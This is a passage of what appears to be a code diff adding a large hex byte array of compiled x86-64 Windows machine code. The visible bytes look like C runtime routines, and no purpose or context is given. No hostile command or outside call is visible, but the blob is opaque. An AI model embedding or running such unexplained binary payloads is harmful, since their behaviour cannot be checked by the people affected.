0x89, 0x75, 0x48, 0x48, + 0x89, 0x7d, 0x50, 0x48, 0x8b, 0x05, 0xbe, 0xec, 0x00, 0x00, 0x48, 0x33, + 0xc5, 0x48, 0x89, 0x45, 0x08, 0x48, 0x63, 0x5d, 0x60, 0x4d, 0x8b, 0xf9, + 0x48, 0x89, 0x55, 0x00, 0x45, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x85, 0xdb, + 0x7e, 0x14, 0x48, 0x8b, 0xd3, 0x49, 0x8b, 0xc9, 0xe8, 0x0b, 0x20, 0x00, + 0x00, 0x3b, 0xc3, 0x8d, 0x58, 0x01, 0x7c, 0x02, 0x8b, 0xd8, 0x44, 0x8b, + 0x75, 0x78, 0x45, 0x85, 0xf6, 0x75, 0x07, 0x48, 0x8b, 0x07, 0x44, 0x8b, + 0x70, 0x0c, 0xf7, 0x9d, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xcb, 0x4d, + 0x8b, 0xc7, 0x41, 0x8b, 0xce, 0x1b, 0xd2, 0x83, 0x64, 0x24, 0x28, 0x00, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x83, 0xe2, 0x08, 0xff, 0xc2, 0xe8, + 0x20, 0xc3, 0xff, 0xff, 0x4c, 0x63, 0xe0, 0x85, 0xc0, 0x0f, 0x84, 0x36, + 0x02, 0x00, 0x00, 0x49, 0x8b, 0xc4, 0x49, 0xb8, 0xf0, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0x0f, 0x48, 0x03, 0xc0, 0x48, 0x8d, 0x48, 0x10, 0x48, + 0x3b, 0xc1, 0x48, 0x1b, 0xd2, 0x48, 0x23, 0xd1, 0x74, 0x53, 0x48, 0x81, + 0xfa, 0x00, 0x04, 0x00, 0x00, 0x77, 0x2e, 0x48, 0x8d, 0x42, 0x0f, 0x48, + 0x3b, 0xc2, 0x77, 0x03, 0x49, 0x8b, 0xc0, 0x48, 0x83, 0xe0, 0xf0, 0xe8, + 0xc8, 0x2f, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x74, 0x24, 0x50, + 0x48, 0x85, 0xf6, 0x0f, 0x84, 0xce, 0x01, 0x00, 0x00, 0xc7, 0x06, 0xcc, + 0xcc, 0x00, 0x00, 0xeb, 0x16, 0x48, 0x8b, 0xca, 0xe8, 0xf3, 0x89, 0xff, + 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x0e, 0xc7, 0x00, 0xdd, + 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc6, 0x10, 0xeb, 0x02, 0x33, 0xf6, 0x48, + 0x85, 0xf6, 0x0f, 0x84, 0x9f, 0x01, 0x00, 0x00, 0x44, 0x89, 0x64, 0x24, + 0x28, 0x44, 0x8b, 0xcb, 0x4d, 0x8b, 0xc7, 0x48, 0x89, 0x74, 0x24, 0x20, + 0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xce, 0xe8, 0x7b, 0xc2, 0xff, + 0xff, 0x85, 0xc0, 0x0f, 0x84, 0x7a, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, + 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, + 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, + 0x4c, 0x8b, 0x7d, 0x00, 0x83, 0x64, 0x24, 0x28, 0x00, 0x49, 0x8b, 0xcf, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xe8, 0xed, 0xa6, 0xff, 0xff, 0x48, + 0x63, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x3d, 0x01, 0x00, 0x00, 0xba, 0x00, + 0x04, 0x00, 0x00, 0x44, 0x85, 0xea, 0x74, 0x52, 0x8b, 0x45, 0x70, 0x85, + 0xc0, 0x0f, 0x84, 0x2a, 0x01, 0x00, 0x00, 0x3b, 0xf8, 0x0f, 0x8f, 0x20, + 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, + 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, + 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, 0x89, 0x44, 0x24, 0x28, 0x49, 0x8b, + 0xcf, 0x48, 0x8b, 0x45, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x95, + 0xa6, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x85, 0xe8, 0x00, 0x00, + 0x00, 0xe9, 0xe1, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x48, 0x03, 0xc9, + 0x48, 0x8d, 0x41, 0x10, 0x48, 0x3b, 0xc8, 0x48, 0x1b, 0xc9, 0x48, 0x23, + 0xc8, 0x74, 0x53, 0x48, 0x3b, 0xca, 0x77, 0x35, 0x48, 0x8d, 0x41, 0x0f, + 0x48, 0x3b, 0xc1, 0x77, 0x0a, 0x48, 0xb8, 0xf0, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0x0f, 0x48, 0x83, 0xe0, 0xf0, 0xe8, 0x94, 0x2e, 0x00, 0x00, + 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x5c, 0x24, 0x50, 0x48, 0x85, 0xdb, 0x0f, + 0x84, 0x9a, 0x00, 0x00, 0x00, 0xc7, 0x03, 0xcc, 0xcc, 0x00, 0x00, 0xeb, + 0x13, 0xe8, 0xc2, 0x88, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, + 0x74, 0x0e, 0xc7, 0x00, 0xdd, 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x10, + 0xeb, 0x02, 0x33, 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x72, 0x48, 0x83, 0x64, + 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, + 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, + 0x89, 0x7c, 0x24, 0x28, 0x49, 0x8b, 0xcf, 0x48, 0x89, 0x5c, 0x24, 0x20, + 0xe8, 0xeb, 0xa5, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x31, 0x48, 0x83, 0x64, + 0x24, 0x38, 0x00, 0x33, 0xd2, 0x48, 0x21, 0x54, 0x24, 0x30, 0x44, 0x8b, + 0xcf, 0x8b, 0x45, 0x70, 0x4c, 0x8b, 0xc3, 0x41, 0x8b, 0xce, 0x85, 0xc0, + 0x75, 0x65, 0x21, 0x54, 0x24, 0x28, 0x48, 0x21, 0x54, 0x24, 0x20, 0xe8, + 0x6c, 0xc1, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x75, 0x60, 0x48, 0x8d, + 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0x05, 0xe8, 0xf5, + 0x87, 0xff, 0xff, 0x33, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x11, 0x48, 0x8d, + 0x4e, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0x05, 0xe8, 0xdd, + 0x87, 0xff, 0xff, 0x8b, 0xc7, 0x48, 0x8b, 0x4d, 0x08, 0x48, 0x33, 0xcd, + 0xe8, 0x83, 0x33, 0xff, 0xff, 0x48, 0x8b, 0x5d, 0x40, 0x48, 0x8b, 0x75, + 0x48, 0x48, 0x8b, 0x7d, 0x50, 0x48, 0x8d, 0x65, 0x10, 0x41, 0x5f, 0x41, + 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0x89, 0x44, 0x24, 0x28, 0x48, + 0x8b, 0x45, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, 0xeb, 0x95, 0x48, 0x8d, + 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0xa7, 0xe8, 0x95, + 0x87, 0xff, 0xff, 0xeb, 0xa0, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x70, 0x48, + 0x8b, 0xf2, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0xd1, 0x41, 0x8b, 0xf8, 0x48, + 0x8d, 0x4c, 0x24, 0x50, 0xe8, 0xd7, 0x58, 0xff, 0xff, 0x8b, 0x84, 0x24, + 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x58, 0x89, 0x44, 0x24, + 0x40, 0x4c, 0x8b, 0xcb, 0x8b, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x44, + 0x8b, 0xc7, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0xd6, 0x8b, 0x84, 0x24, + 0xb0, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, + 0xa8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, 0x84, 0x24, + 0xa0, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x77, 0xfc, 0xff, + 0xff, 0x80, 0x7c, 0x24, 0x68, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, + 0x50, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x4c, 0x8d, 0x5c, 0x24, + 0x70, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3, + 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x07, 0xbc, 0xff, + 0xff, 0x33, 0xc9, 0x84, 0xc0, 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x48, 0x83, + 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x75, + 0x19, 0xe8, 0xb2, 0x86, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, + 0xe8, 0x87, 0x85, 0xff, 0xff, 0x48, 0x83, 0xc8, 0xff, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0x4c, 0x8b, 0xc1, 0x33, 0xd2, 0x48, 0x8b, 0x0d, 0x7e, 0x05, + 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, 0x7b, 0x39, 0x00, + 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, + 0x0a, 0x48, 0x8b, 0xca, 0xe8, 0xc7, 0x86, 0xff, 0xff, 0xeb, 0x1f, 0x48, + 0x85, 0xdb, 0x75, 0x07, 0xe8, 0x7b, 0x86, 0xff, 0xff, 0xeb, 0x11, 0x48, + 0x83, 0xfb, 0xe0, 0x76, 0x2d, 0xe8, 0x4e, 0x86, 0xff, 0xff, 0xc7, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x66, 0xcd, 0xff, 0xff, 0x85, 0xc0, + 0x74, 0xdf, 0x48, 0x8b, 0xcb, 0xe8, 0xe2, 0xc2, 0xff, 0xff, 0x85, 0xc0, + 0x74, 0xd3, 0x48, 0x8b, 0x0d, 0x0b, 0x05, 0x01, 0x00, 0x4c, 0x8b, 0xcb, + 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0xff, 0x15, 0xfd, 0x38, 0x00, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0xd1, 0xeb, 0xc4, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, + 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0x8b, 0x0a, 0xe8, 0xa8, 0xef, 0xff, 0xff, + 0x90, 0x48, 0x8b, 0x03, 0x48, 0x63, 0x08, 0x48, 0x8b, 0xd1, 0x48, 0x8b, + 0xc1, 0x48, 0xc1, 0xf8, 0x06, 0x4c, 0x8d, 0x05, 0x78, 0xfc, 0x00, 0x00, + 0x83, 0xe2, 0x3f, 0x48, 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0xf6, + 0x44, 0xd0, 0x38, 0x01, 0x74, 0x24, 0xe8, 0x85, 0xf0, 0xff, 0xff, 0x48, + 0x8b, 0xc8, 0xff, 0x15, 0x98, 0x38, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, + 0x75, 0x1e, 0xe8, 0x89, 0x85, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0xff, 0x15, + 0x44, 0x39, 0x00, 0x00, 0x89, 0x03, 0xe8, 0x99, 0x85, 0xff, 0xff, 0xc7, + 0x00, 0x09, 0x00, 0x00, 0x00, 0x83, 0xcb, 0xff, 0x8b, 0x0f, 0xe8, 0x6d, + 0xef, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, + 0x48, 0x63, 0xd1, 0x83, 0xfa, 0xfe, 0x75, 0x0d, 0xe8, 0x67, 0x85, 0xff, + 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xeb, 0x6c, 0x85, 0xc9, 0x78, + 0x58, 0x3b, 0x15, 0xf9, 0xff, 0x00, 0x00, 0x73, 0x50, 0x48, 0x8b, 0xca, + 0x4c, 0x8d, 0x05, 0xed, 0xfb, 0x00, 0x00, 0x83, 0xe1, 0x3f, 0x48, 0x8b, + 0xc2, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xc9, 0x49, 0x8b, 0x04, + 0xc0, 0xf6, 0x44, 0xc8, 0x38, 0x01, 0x74, 0x2d, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0x89, 0x54, 0x24, 0x50, 0x89, 0x54, 0x24, 0x58, 0x4c, 0x8d, 0x4c, + 0x24, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20, + 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0xe8, 0xfd, + 0xfe, 0xff, 0xff, 0xeb, 0x13, 0xe8, 0xfe, 0x84, 0xff, 0xff, 0xc7, 0x00, + 0x09, 0x00, 0x00, 0x00, 0xe8, 0xd3, 0x83, 0xff, 0xff, 0x83, 0xc8, 0xff, + 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x8d, 0x6c, 0x24, 0xd9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00, + 0x48, 0x8b, 0x05, 0x21, 0xe7, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, + 0x45, 0x17, 0x48, 0x63, 0xf2, 0x4d, 0x8b, 0xf8, 0x48, 0x8b, 0xc6, 0x48, + 0x89, 0x4d, 0xf7, 0x48, 0x89, 0x45, 0xef, 0x48, 0x8d, 0x0d, 0xfa, 0x16, + 0xff, 0xff, 0x83, 0xe0, 0x3f, 0x45, 0x8b, 0xe9, 0x4d, 0x03, 0xe8, 0x4c, + 0x89, 0x45, 0xdf, 0x4c, 0x8b, 0xe6, 0x4c, 0x89, 0x6d, 0xaf, 0x49, 0xc1, + 0xfc, 0x06, 0x4c, 0x8d, 0x34, 0xc0, 0x4a, 0x8b, 0x84, 0xe1, 0x50, 0xe4, + 0x01, 0x00, 0x4a, 0x8b, 0x44, 0xf0, 0x28, 0x48, 0x89, 0x45, 0xb7, 0xff, + 0x15, 0x47, 0x37, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x50, + 0x89, 0x45, 0xa7, 0xe8, 0xf0, 0x55, 0xff, 0xff, 0x48, 0x8b, 0x4c, 0x24, + 0x58, 0x45, 0x33, 0xdb, 0x44, 0x89, 0x5d, 0x97, 0x41, 0x8b, 0xdb, 0x89, + 0x5d, 0x9b, 0x49, 0x8b, 0xff, 0x8b, 0x51, 0x0c, 0x41, 0x8b, 0xcb, 0x89, + 0x4c, 0x24, 0x40, 0x89, 0x55, 0xab, 0x4d, 0x3b, 0xfd, 0x0f, 0x83, 0xe2, + 0x03, 0x00, 0x00, 0x48, 0x8b, 0xc6, 0x49, 0x8b, 0xf7, 0x48, 0xc1, 0xf8, + 0x06, 0x48, 0x89, 0x45, 0xe7, 0x8a, 0x0f, 0x41, 0xbf, 0x01, 0x00, 0x00, + 0x00, 0x88, 0x4c, 0x24, 0x44, 0x44, 0x89, 0x5c, 0x24, 0x48, 0x81, 0xfa, + 0xe9, 0xfd, 0x00, 0x00, 0x0f, 0x85, 0x70, 0x01, 0x00, 0x00, 0x4c, 0x8d, + 0x3d, 0x5b, 0x16, 0xff, 0xff, 0x41, 0x8b, 0xd3, 0x4d, 0x8b, 0x8c, 0xc7, + 0x50, 0xe4, 0x01, 0x00, 0x49, 0x8b, 0xf3, 0x4b, 0x8d, 0x04, 0xf1, 0x44, + 0x38, 0x5c, 0x30, 0x3e, 0x74, 0x0b, 0xff, 0xc2, 0x48, 0xff, 0xc6, 0x48, + 0x83, 0xfe, 0x05, 0x7c, 0xee, 0x48, 0x85, 0xf6, 0x0f, 0x8e, 0xe0, 0x00, + 0x00, 0x00, 0x4b, 0x8b, 0x84, 0xe7, 0x50, 0xe4, 0x01, 0x00, 0x4c, 0x8b, + 0x45, 0xaf, 0x4c, 0x2b, 0xc7, 0x42, 0x0f, 0xb6, 0x4c, 0xf0, 0x3e, 0x46, + 0x0f, 0xbe, 0xbc, 0x39, 0xd0, 0xd8, 0x01, 0x00, 0x41, 0xff, 0xc7, 0x45, + 0x8b, 0xef, 0x44, 0x2b, 0xea, 0x4d, 0x63, 0xd5, 0x4d, 0x3b, 0xd0, 0x0f, + 0x8f, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xff, 0x49, 0x8b, 0xd3, + 0x4c, 0x2b, 0xc8, 0x4f, 0x8d, 0x04, 0xf1, 0x48, 0x8d, 0x4d, 0xff, 0x48, + 0x03, 0xca, 0x48, 0xff, 0xc2, 0x42, 0x8a, 0x44, 0x01, 0x3e, 0x88, 0x01, + 0x48, 0x3b, 0xd6, 0x7c, 0xea, 0x45, 0x85, 0xed, 0x7e, 0x15, 0x48, 0x8d, + 0x4d, 0xff, 0x4d, 0x8b, 0xc2, 0x48, 0x03, 0xce, 0x48, 0x8b, 0xd7, 0xe8, + 0xd0, 0x44, 0xff, 0xff, 0x45, 0x33, 0xdb, 0x49, 0x8b, 0xd3, 0x4c, 0x8d, + 0x05, 0xb3, 0x15, 0xff, 0xff, 0x4b, 0x8b, 0x8c, 0xe0, 0x50, 0xe4, 0x01, + 0x00, 0x48, 0x03, 0xca, 0x48, 0xff, 0xc2, 0x46, 0x88, 0x5c, 0xf1, 0x3e, + 0x48, 0x3b, 0xd6, 0x7c, 0xe8, 0x48, 0x8d, 0x45, 0xff, 0x4c, 0x89, 0x5d, + 0xbf, 0x48, 0x89, 0x45, 0xc7, 0x4c, 0x8d, 0x4d, 0xbf, 0x41, 0x8b, 0xc3, + 0x48, 0x8d, 0x55, 0xc7, 0x41, 0x83, 0xff, 0x04, 0x48, 0x8d, 0x4c, 0x24, + 0x48, 0x0f, 0x94, 0xc0, 0xff, 0xc0, 0x44, 0x8b, 0xc0, 0x44, 0x8b, 0xf8, + 0xe8, 0xd7, 0xca, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0xd7, + 0x00, 0x00, 0x00, 0x41, 0x8d, 0x45, 0xff, 0x4c, 0x8b, 0x6d, 0xaf, 0x48, + 0x63, 0xf0, 0x48, 0x03, 0xf7, 0xe9, 0xe6, 0x00, 0x00, 0x00, 0x0f, 0xb6, + 0x07, 0x49, 0x8b, 0xd5, 0x48, 0x2b, 0xd7, 0x4a, 0x0f, 0xbe, 0xb4, 0x38, + 0xd0, 0xd8, 0x01, 0x00, 0x8d, 0x4e, 0x01, 0x48, 0x63, 0xc1, 0x48, 0x3b, + 0xc2, 0x0f, 0x8f, 0xe4, 0x01, 0x00, 0x00, 0x83, 0xf9, 0x04, 0x4c, 0x89, + 0x5d, 0xcf, 0x41, 0x8b, 0xc3, 0x48, 0x89, 0x7d, 0xd7, 0x0f, 0x94, 0xc0, + 0x4c, 0x8d, 0x4d, 0xcf, 0xff, 0xc0, 0x48, 0x8d, 0x55, 0xd7, 0x44, 0x8b, + 0xc0, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd8, 0xe8, 0x6f, 0xca, 0xff, + 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x73, 0x48, 0x03, 0xf7, 0x44, 0x8b, + 0xfb, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xeb, 0x14, 0xff, + 0xff, 0x4a, 0x8b, 0x94, 0xe0, 0x50, 0xe4, 0x01, 0x00, 0x42, 0x8a, 0x4c, + 0xf2, 0x3d, 0xf6, 0xc1, 0x04, 0x74, 0x1b, 0x42, 0x8a, 0x44, 0xf2, 0x3e, + 0x80, 0xe1, 0xfb, 0x88, 0x45, 0x07, 0x8a, 0x07, 0x42, 0x88, 0x4c, 0xf2, + 0x3d, 0x48, 0x8d, 0x55, 0x07, 0x88, 0x45, 0x08, 0xeb, 0x1f, 0xe8, 0xd9, + 0xa1, 0xff, 0xff, 0x0f, 0xb6, 0x0f, 0x33, 0xd2, 0x66, 0x39, 0x14, 0x48, + 0x7d, 0x2d, 0x48, 0xff, 0xc6, 0x49, 0x3b, 0xf5, 0x0f, 0x83, 0xb2, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0xd7, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x4c, 0x24, 0x48, 0xe8, 0xa7, 0x84, 0xff, 0xff, 0x83, 0xf8, 0xff, + 0x75, 0x22, 0x80, 0x7d, 0x8f, 0x00, 0xe9, 0x8b, 0x01, 0x00, 0x00, 0x4d, + 0x8b, 0xc7, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0xd7, 0xe8, 0x89, + 0x84, 0xff, 0xff, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0xaf, 0x01, 0x00, 0x00, + 0x8b, 0x4d, 0xa7, 0x48, 0x8d, 0x45, 0x0f, 0x33, 0xdb, 0x4c, 0x8d, 0x44, + 0x24, 0x48, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d, 0x7e, 0x01, 0x48, + 0x89, 0x5c, 0x24, 0x30, 0x45, 0x8b, 0xcf, 0xc7, 0x44, 0x24, 0x28, 0x05, + 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x61, + 0xbb, 0xff, 0xff, 0x8b, 0xf0, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x01, 0x00, + 0x00, 0x48, 0x8b, 0x4d, 0xb7, 0x4c, 0x8d, 0x4c, 0x24, 0x4c, 0x44, 0x8b, + 0xc0, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x55, 0x0f, 0xff, 0x15, + 0x98, 0x34, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0xa3, + 0x01, 0x00, 0x00, 0x44, 0x8b, 0x7c, 0x24, 0x40, 0x8b, 0xdf, 0x2b, 0x5d, + 0xdf, 0x41, 0x03, 0xdf, 0x89, 0x5d, 0x9b, 0x39, 0x74, 0x24, 0x4c, 0x0f, + 0x82, 0xf1, 0x00, 0x00, 0x00, 0x80, 0x7c, 0x24, 0x44, 0x0a, 0x75, 0x49, + 0x48, 0x8b, 0x4d, 0xb7, 0x41, 0x8d, 0x43, 0x0d, 0x4c, 0x8d, 0x4c, 0x24, + 0x4c, 0x66, 0x89, 0x44, 0x24, 0x44, 0x45, 0x8d, 0x43, 0x01, 0x4c, 0x89, + 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x44, 0xff, 0x15, 0x46, 0x34, + 0x00, 0x00, 0x45, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0xf1, 0x00, 0x00, + 0x00, 0x83, 0x7c, 0x24, 0x4c, 0x01, 0x0f, 0x82, 0xae, 0x00, 0x00, 0x00, + 0x41, 0xff, 0xc7, 0xff, 0xc3, 0x44, 0x89, 0x7c, 0x24, 0x40, 0x89, 0x5d, + 0x9b, 0x48, 0x8b, 0xf7, 0x49, 0x3b, 0xfd, 0x0f, 0x83, 0xe0, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x45, 0xe7, 0x8b, 0x55, 0xab, 0xe9, 0x04, 0xfd, 0xff, + 0xff, 0x41, 0x8b, 0xd3, 0x4d, 0x85, 0xc0, 0x7e, 0x2d, 0x48, 0x2b, 0xfe, + 0x48, 0x8d, 0x1d, 0x71, 0x13, 0xff, 0xff, 0x8a, 0x04, 0x37, 0xff, 0xc2, + 0x4a, 0x8b, 0x8c, 0xe3, 0x50, 0xe4, 0x01, 0x00, 0x48, 0x03, 0xce, 0x48, + 0xff, 0xc6, 0x42, 0x88, 0x44, 0xf1, 0x3e, 0x48, 0x63, 0xc2, 0x49, 0x3b, + 0xc0, 0x7c, 0xe0, 0x8b, 0x5d, 0x9b, 0x41, 0x03, 0xd8, 0xeb, 0x4c, 0x45, + 0x8b, 0xcb, 0x48, 0x85, 0xd2, 0x7e, 0x42, 0x4c, 0x8b, 0x6d, 0xef, 0x4d, + 0x8b, 0xc3, 0x4d, 0x8b, 0xd5, 0x41, 0x83, 0xe5, 0x3f, 0x49, 0xc1, 0xfa, + 0x06, 0x4e, 0x8d, 0x1c, 0xed, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x03, 0xdd, + 0x41, 0x8a, 0x04, 0x38, 0x41, 0xff, 0xc1, 0x4b, 0x8b, 0x8c, 0xd7, 0x50, + 0xe4, 0x01, 0x00, 0x49, 0x03, 0xc8, 0x49, 0xff, 0xc0, 0x42, 0x88, 0x44, + 0xd9, 0x3e, 0x49, 0x63, 0xc1, 0x48, 0x3b, 0xc2, 0x7c, 0xde, 0x45, 0x33, + 0xdb, 0x03, 0xda, 0x89, 0x5d, 0x9b, 0x44, 0x38, 0x5d, 0x8f, 0x8b, 0x4c, + 0x24, 0x40, 0xeb, 0x49, 0x8a, 0x07, 0x4c, 0x8d, 0x05, 0xe7, 0x12, 0xff, + 0xff, 0x4b, 0x8b, 0x8c, 0xe0, 0x50, 0xe4, 0x01, 0x00, 0xff, 0xc3, 0x89, + 0x5d, 0x9b, 0x42, 0x88, 0x44, 0xf1, 0x3e, 0x4b, 0x8b, 0x84, 0xe0, 0x50, + 0xe4, 0x01, 0x00, 0x42, 0x80, 0x4c, 0xf0, 0x3d, 0x04, 0x38, 0x55, 0x8f, + 0xeb, 0xcc, 0xff, 0x15, 0x0c, 0x34, 0x00, 0x00, 0x89, 0x45, 0x97, 0x8b, + 0x4c, 0x24, 0x40, 0x80, 0x7d, 0x8f, 0x00, 0xeb, 0x08, 0x8b, 0x4c, 0x24, + 0x40, 0x44, 0x38, 0x5d, 0x8f, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, + 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x45, 0xf7, 0xf2, + 0x0f, 0x10, 0x45, 0x97, 0xf2, 0x0f, 0x11, 0x00, 0x89, 0x48, 0x08, 0x48, + 0x8b, 0x4d, 0x17, 0x48, 0x33, 0xcc, 0xe8, 0xfd, 0x2b, 0xff, 0xff, 0x48, + 0x8b, 0x9c, 0x24, 0x40, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x00, 0x01, + 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, + 0x5d, 0xc3, 0xff, 0x15, 0xac, 0x33, 0x00, 0x00, 0x89, 0x45, 0x97, 0x8b, + 0x4c, 0x24, 0x40, 0x38, 0x5d, 0x8f, 0xeb, 0xa9, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0xb8, 0x50, + 0x14, 0x00, 0x00, 0xe8, 0xf8, 0x25, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, + 0x8b, 0x05, 0x36, 0xe2, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, + 0x24, 0x40, 0x14, 0x00, 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xf9, 0x49, + 0x8b, 0xc2, 0x41, 